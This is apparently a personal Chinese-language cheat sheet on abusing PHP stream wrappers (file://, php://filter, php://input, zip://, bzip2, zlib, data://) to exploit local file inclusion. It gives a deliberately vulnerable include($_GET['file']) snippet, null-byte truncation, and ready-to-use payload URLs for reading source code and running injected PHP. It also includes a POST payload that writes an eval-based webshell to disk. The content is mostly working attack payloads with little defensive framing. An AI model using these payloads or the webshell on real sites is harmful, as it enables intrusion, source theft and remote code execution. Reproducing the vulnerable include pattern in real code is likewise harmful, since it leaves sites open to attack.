php伪协议
文件包含函数：include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file 。
file.php
<?php include($_GET['file']) ?>
PHP版本<=5.2的时候可以使用%00截断。
如下所示：
<?php include($_GET['file'].’.php’) ?>
http://127.0.0.1/test.php?file=file:///c:/flag.txt%00
1.file协议
- 使用方法：
- file:// [文件的绝对路径和文件名]
- http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt
-
/index.php?PATH=php://filter/read=convert.base64-decode/resource=index.php/index.php?PATH=php://filter/convert.base64-encode/resource=index.php
- 倘若你要读取PHP的程序需要使用base64加密。
- payload
- /index.php?PATH=php://filter/read=convert.base64-decode/resource=index.php
- /index.php?PATH=php://filter/convert.base64-encode/resource=index.php
2.php://input
- php.ini里allow_url_include:on
- 经过测试好像只有5.2.17这个版本可以。
- http://127.0.0.1/file.php?file=php://input
- POST数据提交内容为PHP代码
- 也可以POST如下内容生成一句话： <?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"];)?>');?>
zip://协议
- 使用方法：
- zip://archive.zip#dir/file.txt
- zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
- 测试现象：
- http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt
- 先将要执行的PHP代码写好文件名为phpcode.txt，将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传，若不能便将file.zip重命名为file.jpg后在上传，其他几种压缩格式也可以这样操作。
- 由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23，且此处经过测试相对路径是不可行，所以只能用绝对路径。
我自己测试这个方法是测试失败了，不知道为啥。
.
后面的协议都大同小异直接freebuf copy了。
【bzip2://协议】
使用方法：
compress.bzip2://file.bz2
测试现象：
http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg
【zlib://协议】
使用方法：
compress.zlib://file.gz
测试现象：
http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg
【data://协议】
经过测试官方文档上存在一处问题，经过测试PHP版本5.2，5.3，5.5，7.0；data:// 协议是是受限于allow_url_fopen的，官方文档上给出的是NO，所以要使用data://协议需要满足双on条件
PHP.ini：
data://协议必须双在on才能正常使用；
allow_url_fopen ：on
allow_url_include：on
参考自：http://php.net/manual/zh/wrappers.data.php, 官方文档上allow_url_fopen应为yes。
测试现象：
http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
也可以：
http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
